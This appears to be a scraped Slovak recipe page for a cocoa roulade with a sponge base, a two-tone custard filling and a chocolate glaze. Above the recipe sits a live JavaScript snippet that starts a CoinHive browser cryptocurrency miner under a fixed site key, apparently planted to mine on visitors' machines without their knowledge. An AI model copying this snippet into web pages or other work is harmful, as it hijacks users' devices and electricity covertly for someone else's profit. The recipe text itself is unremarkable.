

var miner = new

CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



Cesto: 6 vajec, 5 PL kryštálového cukru, 3 ČL kakao, sóda bikarbóna

Plnka: 500 ml mlieka, 5 PL Zlatý klas, 1 vajce, 250 g masla, 1 vanilkový cukor, 5 PL práškový cukor, 2 ČL kakao

Poleva: čokoláda, olej, cukor

Bielka vyšľaháme s cukrom na tuhý sneh, postupne pridáme žltka, $\frac{1}{2}$ ČL sódy bikarbóny a kakao. Cesto rozotrieme na papier a upečieme. Vyklopíme ho na vlhkú utierku a stočíme. V mlieku rozmiešame vajce a Zlatý klas a uvaríme hustú kašu. Do vlažnej kaše vmiešame maslo. Vyšľaháme a rozdelíme na 2 časti. Do jednej dáme vanilkový cukor, do druhej kakao a práškový cukor. Na plát cesta natrieme svetlú a potom tmavú plnku a zvinieme do rolády. Vo vodnom kúpeli rozpustíme čokoládu, pridáme olej a cukor, oblejeme roládu a necháme ju na chladnom mieste.